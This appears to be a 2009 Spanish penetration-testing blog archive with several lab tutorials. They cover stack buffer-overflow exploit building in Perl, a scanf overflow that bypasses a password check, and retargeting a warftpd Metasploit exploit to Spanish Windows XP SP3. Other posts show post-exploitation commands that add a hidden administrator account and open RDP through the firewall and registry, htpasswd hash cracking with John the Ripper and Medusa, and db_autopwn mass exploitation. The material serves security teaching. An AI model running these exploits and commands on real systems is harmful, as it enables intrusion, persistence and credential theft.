# EXPLOIT DE PRUEBAS - jselvi

# PARTES DEL EXPLOIT
my $relleno = "A" x 50;
my $msfpatron = "
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab";

# CONSTRUIMOS EXPLOIT
my $exploit = $relleno.$msfpatron;

# LANZAMOS EXPLOIT
my $file = "exploit.txt";
open( $FILE, ">$file" );
print $FILE $exploit;
close( $FILE );

print "Fichero exploit.txt creado\n";


Con este script podemos crear un fichero de texto que contenga el exploit y utilizarlo (de momento, como no hay caracteres "raros", podemos simplemente copiar y pegar). Si lanzamos de nuevo con OllyDbg igual que lo hicimos antes e introducimos ahora esta cadena, el resultado será el siguiente:



Como podemos ver, ahora el EIP ha sido sobreescrito por 0x61413361, que por ser el procesador un Intel (Little Endian), quiere decir que hemos sobreescrito el EIP con {0x61, 0x33, 0x41, 0x61}, es decir, con el patron "a3Aa".

Ahora que ya tenemos el patrón, sólo nos tenemos que ir de nuevo a Metasploit y utilizar la herramienta complementaria a la de antes: pattern_offset.rb

# ./pattern_offset.rb a3Aa 50
10


Así que tenemos 50 A's que hemos introducido a mano nosotros más 10 A's más que podemos seguir metiendo hasta alcanzar la dirección de retorno en memoria, y después de eso ya podemos introducir lo que queramos que sobreescriba la dirección de retorno. Hagamos una última prueba, vamos a escribir 60 A's seguidas de "BBBB" seguido de un patron "CCC1CCC2CCC3CCC4". Si todo va bien, el EIP acabará siendo BBBB y podremos ver en la memoria la cadena "CCC1CCC2...". Podemos generar todo el exploit modificando un poco el código perl de antes:

# PARTES DEL EXPLOIT
my $relleno = "A" x 60;
my $eip = "BBBB";
my $espacio = "CCC1CCC2CCC3CCC4";

# CONSTRUIMOS EXPLOIT
my $exploit = $relleno.$eip.$espacio;


Vamos a ver lo que pasa:



Parece que la cosa va MUY bien, ya sabemos cuantos bytes tenemos que escribir para sobreescribir la dirección de retorno, con lo que tenemos el control del EIP, y además podemos observar que la cadena "CCC1CCC2..." se encuentra apuntada por el registro ESP (puntero a la cima de la pila) después de salir de la función que hemos explicado. Lógico, pero interesante para nuestros propósitos, verdad?.

Lo tenemos chupado entonces, ¿no? Sólo tenemos que poner nuestro shellcode donde hemos puesto "CCC1CCC2..." y en el EIP de retorno almacenado en la pila sobreescribirlo con la dirección 0x0022C0D0, así cuando se salga de la función se recuperará este como EIP y saltará a ejecutar el shellcode que le pongamos.

En teoría, esto podría ser así, pero... no va a funcionar.
¿A alguien se le ocurre por qué?

lunes, 16 de noviembre de 2009

Exploiting (I): Buffer Overflow != Stack Overflow

Según la definición de la Wikipedia, un Buffer Overflow es un error de programación que tiene lugar al copiar una cantidad de datos sobre un área que no es lo suficientemente grande como para contener dichos datos, produciendose así la sobreescritura de zonas de memoria.

En general, la mayoría de gente con la que hablo sobre estos temas y le preguntas "¿Qué es un Buffer Overflow?", te contesta: "sí, eso de que escribes un montón de caracteres hasta que sobreescribes la dirección de retorno en la pila y así te salta al código del shellcode..." (eso si entiende un poco de seguridad, sino la respuesta puede ser "lo que?"). Probablemente el Stack Overflow sea uno de los tipos de Buffer Overflow más conocidos y espectaculares, pero el término Buffer Overflow es un poco más genérico.

Para demostrarlo, hemos desarrollado un pequeño código de ejemplo que presenta un Buffer Overflow que puede ser explotado para saltarse un "proceso de autenticación" (si alguien se trave a llamar así a lo que hemos programado) sin sobreescribir la pila, ni inyectar un shellcode, ni nada similar. Veamos pues el código:



Si ejecutamos el código, basicamente tendremos un prompt que nos pide la contraseña y que no nos permite el acceso al resto de funcionalidad (en este caso ninguna, es solo un ejemplo). Sin embargo, podemos observar que la función scanf recoge la cadena que introduzcamos por teclado sin tener en consideración su longitud, por lo que si introducimos una cadena de más de los 10 caracteres que tenemos reservados se producirá un Buffer Overflow.

¿Cómo podemos aprovechar este fallo para saltarnos la autenticación? Seguro que muchos ya se han dado cuenta, pero vamos a pegarle un vistazo a la memoria con OllyDbg a ver si eso nos ayuda más a verlo.





Quizá se vea más claro en la representación gráfica que hemos preparado, donde podemos ver en gris la zona de memoria reservada para la cadena de entrada, y en rojo la zona de memoria reservada para la cadena que guarda la contraseña con la que se compara.

Ahora bien, ¿qué pasa si la cadena introducida es muy larga?





Cómo podemos ver, se ha producido un desbordamiento de buffer de tal manera que hemos sobreescrito la cadena que contenía la contraseña de acceso. De esta manera, en este momento si el programa accede a esta cadena ya no contendrá la cadena "p3nt3st3r", sino la cadena "a". Veamoslo:



Bueno, pues ya está hecho, hemos aprovechado un Buffer Overflow para evadir un proceso de autenticación. El ejemplo es bastante tonto, es cierto, es difícil que nos encontremos con un caso exactamente como este, pero nos sirve para ilustrar y mostrar un tipo de vulnerabilidades que podemos encontrarnos.

martes, 10 de noviembre de 2009

De Shell/Meterpreter a Terminal (Windows)

La semana pasada os mostrabamos como modificar un exploit existente en Metasploit Framework para que funcionara en un entorno con los últimos parches (SP3) y en Español. Mediante este exploit modificado conseguiamos aprovechar una vulnerabilidad del servicio FTP para conseguir una shell cmd.exe o incluso un meterpreter en el sistema remoto.

Ahora bien, ¿Qué podemos hacer con la shell? Yo os diría que todo. Menos dibujar con el Paint (o quizá es que yo no sepa como hacerlo :P).

Tras muchos años de herramientas de gestión con interface gráfico, un porcentaje muy alto de técnicos se bloquean al ver la "pantalla negra". Incluso técnicos muy unixeros acostumbrados a pelearse día a día con la linea de comandos se encuentran perdidos cuando se encuentran con la linea de comandos en un sistema Windows, ya que su sintaxis y sus comandos no son tan ampliamente conocidos como los de sus "parientes" de sistemas Unix.

Por eso, vamos a continuar donde lo dejamos la semana pasada. Vale, hemos explotado una vulnerabilidad y tenemos acceso shell a la máquina... ¿y ahora qué? Podriamos hacer muchas cosas, pero vamos a ir a lo fácil, vamos a intentar entrar por RDP (Escritorio Remoto) a la máquina para así poder usar todas esas herramientas gráficas que tanto nos gustan. Aprovechando que tenemos el meterpreter cargado podriamos intentar utilizar algunas de sus capacidades, como por ejemplo el script getgui, que nos permite crearnos un usuario, darle privilegios y activar el escritorio remoto todo en una sola linea:

meterpreter > run getgui -u jselvi -p p3nt3st3r
[*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator
[*] Carlos Perez carlos_perez@darkoperator.com
[*] Enabling Remote Desktop
[*] RDP is disabled; enabling it ...
[*] Setting Terminal Services service startup mode
[*] Terminal Services service is already set to auto
[*] Opening port in local firewall if necessary
[*] Setting user account for logon
[*] Adding User: jselvi with Password: p3nt3st3r
[*] Adding User: jselvi to local group Remote Desktop Users
[*] Adding User: jselvi to local group Administrators
[*] You can now login with the created user


Sin embargo, si probamos el acceso nos devuelve un mensaje "Las directivas locales de este sistema no permiten iniciar una sesión interactiva". Parece lógico, ya que mi Windows en Español no tiene ni grupo "Administrators" ni "Remote Desktop Users", por lo que aunque el usuario se ha creado no se le ha asignado ningún tipo de privilegios. Parece ser que tendremos que abrirnos una shell y hacer las cosas "a la antigua" (aka "a lo divertida") ;) Para ello hemos restaurado previamente el sistema atacado, por lo que es como si nunca hubieramos intentado usar getgui.

Como paso previo, deberemos sacar una shell cmd.exe desde el meterpreter que hemos conseguido en la máquina, si es que hemos usado este PAYLOAD en lugar de usar uno que directamente nos de la shell:

meterpreter> execute -f cmd.exe -i

Primero que nada, vamos a crearnos un usuario (jselvi:p3nt3st3r) y lo vamos a meter en el grupo "Administradores" y "Usuarios de escritorio remoto", para que podamos entrar por RDP y desde ahí tener todos los privilegios que podamos necesitar sobre la máquina:

>net user jselvi p3nt3st3r /add
net user jselvi p3nt3st3r /add
Se ha completado el comando correctamente.

>
net localgroup Administradores jselvi /add
net localgroup Administradores jselvi /add
Se ha completado el comando correctamente.

>
net localgroup "Usuarios de escritorio remoto" jselvi /add
net localgroup "Usuarios de escritorio remoto" jselvi /add
Se ha completado el comando correctamente.




Una vez creados los usuarios, vamos a ver que "se cuece" en el puerto de Terminal Server (3389/TCP) utilizando LA herramienta (las mayusculas son intencionadas) NMap:

# nmap -PN -p 3389 172.16.24.144

Starting Nmap 4.68 ( http://nmap.org ) at 2009-10-27 23:06 CET
Interesting ports on 172.16.24.144:
PORT STATE SERVICE
3389/tcp filtered ms-term-serv


Parece que tenemos filtrado el acceso al servicio, así que vamos a tener que desactivar el firewall, o mejor aún, crear una excepción para nuestra IP de origen, así sólo nosotros tendremos acceso al Terminal Server y nadie más podrá aprovechar nuestro trabajo para entrar en la máquina:

>netsh firewall add portopening protocol = TCP port = 3389 name = RDP mode = ENABLE scope = CUSTOM addresses = 172.16.24.130
netsh firewall add portopening protocol = TCP port = 3389 name = RDP mode = ENABLE scope = CUSTOM addresses = 172.16.24.130
Aceptar




Comprobemos de nuevo con NMap como va el asunto:

# nmap -PN -p 3389 172.16.24.144
Starting Nmap 4.68 ( http://nmap.org ) at 2009-10-27 23:07 CET
Interesting ports on 172.16.24.144:
PORT STATE SERVICE
3389/tcp closed ms-term-serv


Bueno, vamos mejorando, el puerto ha pasado de filtrado a cerrado, eso quiere decir que el firewall ha sido desactivado correctamente, aunque seguimos sin poder conectar porque no hay un servicio a la escucha. Esto es debido a que hay que modificar una clave de registro en los Windows XP (versión sobre la que estamos realizando las pruebas) para poder activar la administración remota. Hagamoslo:

>reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f




Vamos a comprobar de nuevo que visibilidad tenemos sobre el puerto 3389:

# nmap -PN -p 3389 172.16.24.144
Starting Nmap 4.68 ( http://nmap.org ) at 2009-10-27 23:07 CET
Interesting ports on 172.16.24.144:
PORT STATE SERVICE
3389/tcp open ms-term-serv


PERFECTO!! Parece que la cosa marcha, ya tenemos el puerto abierto para nosotros, ya solo tenemos que acceder y probar la contraseña que hemos configurado a ver si todo el proceso anterior ha surtido efecto:

# rdesktop 172.16.24.144






Bueno, ya ha pasado el "mal trago", ya tenemos acceso gráfico y los que le tiene fobia al terminal pueden cerrar ya la consola, restablecer el servicio que ha sido explotado (si es que ha quedado inestable) y... echarle imaginación :) (hashes? pass-the-hash? escanear la red local? ...)

Y ahora... hay un "pero" muy evidente en todo esto. ¿A alguien se le ocurre?.

martes, 3 de noviembre de 2009

¿Por qué no consigo shell con mi Metasploit?

En muchas ocasiones un pentester se encuentra durante un test de intrusión con un servicio vulnerable y con el exploit en el framework de Metasploit . Ante esta situación tan favorable el pentester se frota las manos, prepara su Metasploit, configura los parametros propios del exploit y lanza el ataque. De manera inesperada, el pentester se encuentra que el resultado no es el deseado pese a que todo parecía pronosticar que así iba a ser.

Cuando se ejecuta un exploit sobre sistemas Microsoft Windows este comportamiento puede venir derivado porque el exploit haya sido realizado para atacar una versión determinada de Microsoft Windows, con un determinado lenguaje, como por ejemplo podría estar preparado para "Microsoft Windows XP SP0 English". Si el pentester lanza el exploit sobre un sistema con "Microsoft Windows XP SP3 Spanish", el exploit no será igual de efectivo que en la versión "English".

Para poder entender bien cómo personalizar nuestros exploits vamos a utilizar el material referenciado en el documento wiki de Metasploit. No nos centraremos en la escritura del exploit, para eso lo mejor es mirar el documento, sino que cogeremos la aplicación warftpd y adaptaremos el exploit (modules/exploits/windows/ftp/warftpd_165_user.rb) para que funcione sobre un "Windows XP SP3 Spanish", target no soportado por defecto por el exploit.

Si visualizamos el contenido del exploit veremos como existe un apartado donde trata los targets y donde nos encontraremos entradas como esta:

------------------------------------------------------------------------------
# Target 1 [ 'Windows XP SP0-SP1 English',

{
'Ret' => 0x71ab1d54 # push esp, ret } ]
......
buf[485, 4] = [ target.ret ].pack('V')
------------------------------------------------------------------------------

A la vista del código queda claro que es necesario modificar la dirección de retorno para adaptarlo a nuestro idioma y Service Pack. Como bien indica el comentario deberemos buscar una dirección de memoria que contenga primero un push esp y después un ret (para entender cómo funciona la pila, los buffers overflows y hacerse una idea de por qué es "push esp, ret" lo que necesita, ver este tutorial; quedando fuera del alcance de este post explicarlo).

Ahora deberemos buscar la dirección de memoria que nos interesa y para ello utilizaremos Ollydbg:

1. Arrancamos la aplicación warftpd:



2. Nos "attacheamos" (perdonar el palabro) al proceso warftpd.exe:



3. Buscamos en la memoria (Letra M de Ollydbg) los opcodes que se corresponden con "push esp, ret", que son "54 3C":



Como se puede ver en la imagen encontramos que en la dirección de memoria 0x71a32b53 existe un "push esp, ret".

4. Añadimos la entrada en el exploit:

# Target 2
[
'Windows XP SP3 Spanish',
{
'Ret' => 0x71a32b53# push esp, ret
}
]
5. Pasamos a ejecutar el exploit

Parametrización del exploit



Lanzamiento del exploit



Observamos la lista de procesos de la máquina con Windows XP SP3 Spanish:



Espero que os sea de utilidad y podáis obtener esa shell que tanto nos gusta.

lunes, 26 de octubre de 2009

Basic? y tan Basic...

Basic Authentication es un medio de autenticación en entornos web basada en usuario y contraseña muy común cuando el administrador o el desarrollador quieren controlar el acceso a determinada parte de una web por tratarse de la zona de administración o, en general, de una zona privada. Sin embargo, utilizar este tipo de autenticación puede llevarnos a tener algunos problemas, como vamos a comprobar.

Vamos a ver un pequeño ejemplo muy común sobre servidor Apache que me encuentro con mucha frecuencia durante la realización de test de intrusión. Para ello lo primero que tenemos que hacer que hacer es crear el fichero .htaccess en el directorio que queramos proteger con el siguiente contenido:

# cat /var/www/.htaccess
AuthType Basic
AuthName "Password Required"
AuthUserFile /var/passwd.file
Require User admin


Una vez creado este fichero en el que decimos que al actual directorio solo puede acceder el usuario "admin" según las credenciales del fichero passwd.file, tendremos que crear este fichero passwd.file, empleando típicamente el siguiente comando:

# htpasswd -c passwd.file admin
New password: completamente.1NS3GuR0
Re-type new password: completamente.1NS3GuR0
Adding password for user admin
#
# cat passwd.file
admin:I5kjirKBkSgLM


Una vez creado este fichero, ya podemos acceder a la web y nos aparecerá la ventana de autenticación. Este mismo entorno es el que nos encontraremo muchas veces al realizar test de intrusión.

Sin embargo, a pesar de tratarse de una contraseña fuerte (17 carcteres con mayúsculas, minúsculas, números y signos de puntuación), el funcionamiento por defecto del comando htpasswd puede arruinar una buena contraseña. Según podemos leer en la propia documentación de Apache, el cifrado por defecto de las claves en Apache sobre Unix es mediante la utilización de la función CRYPT, que toma como valores de entrada un número aleatorio de 32 bits (salt) y los 8 primeros caracteres de la contraseña.

Este funcionamiento quiere decir que podemos simplificar el intento de obtención de una contraseña por medio de fuerza bruta o diccionario contra un servidor web Apache sobre Unix que haya empleado el mecanismo por defecto para generar la contraseña (algo muy muy muy habitual).

Cómo ejemplo, en primer lugar vamos a coger un diccionario estandar y vamos a utilizar la potencia que nos da John The Ripper para convertirlo en un diccionario de palabras truncadas hasta 8 caracteres y de paso que nos genere variaciones de mayusculas y minúsculas y otras lindezas que hace JTR. Utilizaremos como diccionario estandar uno de castellano, por ejemplo este:

# /pentest/password/jtr/john --wordlist=/root/spanish --rules --stdout=8 | uniq > /root/basiccrypt.lst
words: 1609221 time: 0:00:00:03 100% w/s: 484705 current: Zuzing
real 0m3.328s user 0m3.056s sys 0m0.232s


Una vez que ya tenemos nuestro diccionario preparado para basic, sólo tenemos que llamar a alguna de las miles de herramientas que realizar ataques de diccionario contra autenticación basic, como por ejemplo Medusa:

# time medusa -h 127.0.0.1 -u admin -P /root/basiccrypt.lst -M http | grep -v "ACCOUNT CHECK:"
Medusa v1.4 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks

ACCOUNT FOUND: [http] Host: 127.0.0.1 User: admin Password: completa [SUCCESS]

real 0m17.745s
user 0m3.036s
sys 0m3.708s


Como podemos ver, aunque estamos atacando un servidor web en local y por lo tanto el tiempo va a ser mucho más rápido que a través de Internet o en LAN, en no llega a 18 segundos hemos encontrado la contrasela completa como contraseña válida para el usuario admin, es decir, la contraseña que habiamos elegido pero truncada a 8 caracteres, con lo que ha perdido toda su fortaleza. Comprobemos si con esa contraseña efectivamente podemos entrar a la web:





Efectivamente, el funcionamiento por defecto del comando htpasswd de Apache sobre Unix nos ha hecho perder toda la fortaleza de la contraseña que habiamos elegido, lo cual puede facilitar a un intruso (o en mi caso a un pentester) el acceso a zonas privadas mediante un ataque de diccionario o incluso de fuerza bruta, limitando la longitud de la contraseña a 8 caracteres.

Para solucionar estos problemas, es necesario usar las opciones que nos proporciona el comando htpasswd para generar los hashes de las contraseñas. Veamos la ayuda del comando:

# htpasswd --help
Usage:
htpasswd [-cmdpsD] passwordfile username
htpasswd -b[cmdpsD] passwordfile username password

htpasswd -n[mdps] username
htpasswd -nb[mdps] username password
-c Create a new file.
-n Don't update file; display results on stdout.
-m Force MD5 encryption of the password.
-d Force CRYPT encryption of the password (default).
-p Do not encrypt the password (plaintext).
-s Force SHA encryption of the password.
-b Use the password from the command line rather than prompting for it.
-D Delete the specified user.
On Windows, NetWare and TPF systems the '-m' flag is used by default.
On all other systems, the '-p' flag will probably not work.


Por lo tanto, en lugar de usar las opciones por defecto, deberemos utilizar la opción que fuerza la utilización de SHA-1 para la generación de los hashes de las contraseñas, ya que de esta manera nuestra contraseña SI será tenida en cuenta en su totalidad, y las posibilidades de ataque se reducirán a la fortaleza de la contraseña que elijamos.

# htpasswd -c -s passwd.file admin
New password: completamente.1NS3GuR0
Re-type new password: completamente.1NS3GuR0
Adding password for user admin
#
# cat passwd.file
admin:{SHA}5Gi3c8394E/ruP7fIOVze6ZnJeM=

Si ahora volvemos a intentar entrar con la contraseña "completa" veremos que se nos deniega el acceso, por lo que deberemos obtener la contraseña real completa si queremos acceder al contenido protegido por la autenticación basic.

Un negativo para Apache por implementar en su comando una funcionalidad por defecto con estas características.

A cambiar hashes se ha dicho!!

domingo, 18 de octubre de 2009

Autopwn, la artillería pesada de Metasploit


Indudable es, que la Metasploit, se ha convertido en una de las herramientas imprescindibles para la auditoría lógica y test de penetración. En este post vamos a centrarnos en su función autopwn o como vulgarmente se le podría definir la “metralleta” de exploits.

Metasploit y función db_autopwn, hacen servir una base de datos (mysql, sqlite3 o postgres soportadas) para albergar el listado de hosts y servicios que queramos auditar de forma automática, permitiendo agilizar el proceso de explotación y penetración de forma sustancial. La manera de alimentar a base de datos con posibles victimas puede partir de nmap o del resultado de un .nbe de Nessus.

En primera instancia vamos a ver como habilitar la funcionalidad “db”, dado que por defecto si Metasploit no encuentra las librerias de Ruby asociadas a la base de datos que vamos a utilizar no será visible para el usuario esta funcionalidad extendida. Para comprobar si se tiene instaladas las dependencias necesarias tan solo tecleamos en la consola de Metasploit “help”, si su resultado es como el siguiente es posible (digo es posible porque a veces no se tiene completaente satisfechas las dependencias) utilizar las funciones extendidas “db”.

| | _) |
__ `__ \ _ \ __| _` | __| __ \ | _ \ | __|
| | | __/ | ( |\__ \ | | | ( | | |
_| _| _|\___|\__|\__,_|____/ .__/ _|\___/ _|\__|


=[ msf v3.3-dev [core:3.3 api:1.0]
+ --=[ 412 exploits - 261 payloads
+ --=[ 21 encoders - 8 nops
=[ 191 aux

msf > help
Core Commands
=============

Command Description
------- -----------
? Help menu
back Move back from the current context

[...]
unsetg Unsets one or more global variables
use Selects a module by name
version Show the framework and console library version numbers


Database Backend Commands
=========================

Command Description
------- -----------
db_connect Connect to an existing database
db_create Create a brand new database
db_destroy Drop an existing database
db_disconnect Disconnect from the current database instance
db_driver Specify a database driver

En el caso de que no apareciera el menu “Database Backend Commands” y suponiendo que estamos en un entorno Debian procedeos a instalar los siguientes paquetes con sus dependencias:

aptitude install sqlite3 libsqlite3-ruby libdbd-sqlite3-ruby libopenssl-ruby nmap

Muy bien, una vez instalado lo anterior procedemos a seleccionar el entorno de base de datos que Metasploit manejará, para ello usaos el comando “db_driver”

msf > db_driver
[*] Active Driver: sqlite3
[*] Available: sqlite3, mysql

En este caso el driver utilizado es sqlite3, si quisiéramos usar mysql, por ejemplo, tecleariamos:

msf > db_driver mysql
[*] Using database driver mysql

A continuación lo que tenemos que hacer es crear la base de datos mediante el comando “db_create nombre”

msf > db_create pentester.es
[*] Creating a new database instance...
[*] Successfully connected to the database
[*] File: pentester.es

Este comando crea y nos conecta a la bd, en el caso de que quisiéramos utilizar una ya existente utilizariamos “db_connect nombre”

msf > db_connect pentester.es
[*] Successfully connected to the database
[*] File: pentester.es

Ahora nos queda “nutrir” a sqlite3 con los host y servicios que queremos auditar para ello nos apoyaremos en el comando “db_nmap”, que no hace otra cosa que llamar a nmap dentro del entorno de Metasploit. En este caso vamos a analizar al host 192.168.2.2.

msf > db_nmap -n -sT -PN 192.168.2.2

[*] exec: "/usr/bin/nmap" "-n" "-sT" "-PN" "192.168.2.2" "-oX" "/tmp/dbnmap20091018-3147-2qv7ko-0"
NMAP:
NMAP: Starting Nmap 4.62 ( http://nmap.org ) at 2009-10-18 22:50 CEST
NMAP: Interesting ports on 192.168.2.2:
NMAP: Not shown: 1709 closed ports
NMAP: PORT STATE SERVICE
NMAP: 53/tcp open domain
NMAP: 80/tcp open http
NMAP: 139/tcp open netbios-ssn
NMAP: 389/tcp open ldap
NMAP: 445/tcp open microsoft-ds
NMAP: 8080/tcp open http-proxy
NMAP:
NMAP: Nmap done: 1 IP address (1 host up) scanned in 2.232 seconds

En este momento Metasploit ha introducido el host 192.168.2.2 y todos sus servicios en la bd. Para comprobarlo podemos usar db_hosts (muestra la maquinas target) y db_services (servicios a auditar para cada maquina)

msf > db_hosts
[*] Time: Sun Oct 18 22:50:33 +0200 2009 Host: 192.168.2.2 Status: alive OS:

msf > db_services
[*] Time: Sun Oct 18 22:50:33 +0200 2009 Service: host=192.168.2.2 port=53 proto=tcp state=up name=domain
[*] Time: Sun Oct 18 22:50:33 +0200 2009 Service: host=192.168.2.2 port=80 proto=tcp state=up name=http
[*] Time: Sun Oct 18 22:50:33 +0200 2009 Service: host=192.168.2.2 port=139 proto=tcp state=up name=netbios-ssn
[*] Time: Sun Oct 18 22:50:33 +0200 2009 Service: host=192.168.2.2 port=389 proto=tcp state=up name=ldap
[*] Time: Sun Oct 18 22:50:33 +0200 2009 Service: host=192.168.2.2 port=445 proto=tcp state=up name=microsoft-ds
[*] Time: Sun Oct 18 22:50:33 +0200 2009 Service: host=192.168.2.2 port=8080 proto=tcp state=up name=http-proxy

Ya tenemos el objetivo seleccionado, ahora ya tan solo nos queda soltar la metralleta mediate “db_autopwn -t -e -p”. A continuación Metasploit seleccionará todos los exploits disponibles para los servicios almacenados en la bd y solo los que afecten a los puertos seleccionados.

> db_autopwn -t -p -e
[*] Analysis completed in 8.36183190345764 seconds (0 vulns / 0 refs)
[*] Matched exploit/unix/webapp/guestbook_ssi_exec against 192.168.2.2:80...
[*] (1/142): Launching exploit/unix/webapp/guestbook_ssi_exec against 192.168.2.2:80...
[*] Matched exploit/windows/http/savant_31_overflow against 192.168.2.2:80...
[*] (2/142): Launching exploit/w [...]

Como vemos Metaesploit ha seleccionado 142 exploits que afectan a los servicios descubiertos, lanzando uno tras otro cual AK-47.

Pero ¿como podemos saber si un exploit lanzado ha tenido exito? Pues con el comando “sessions -l ” se muestran las shells que se han conseguido. Como se puede observar se han conseguido 1 acceso al sistema por 1 exploit que han tenido éxito.

msf > sessions -l

Active sessions
===============
Id Description Tunnel
– ———– ——
1 Command shell 192.168.2.3 -> 192.168.2.2

Para seleccionar una sesión en concreto

msf > sessions -i 1
[*] Starting interaction with 1…
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>

Este tipo de aproximaciones son bastante arriesgadas dentro de un proceso de pentesting ya que si se ha acordado con el cliente que se producirán las menores DoS posibles este proceso podría tumbar varios servicios o máquinas. Pero si se dispone de libre actuación, la siguiente aproximación sería muy interesante para hacerse con numerosos hosts de la red.

msf > db_nmap -p 445,139 -PN -sS -n 192.168.2.0/24

En un entorno con una política de parcheo “amigable” para el auditor el numero de host Windows afectados por la MS08-067 nos daría muchas alegrias ;)

Saludos Pentesteros.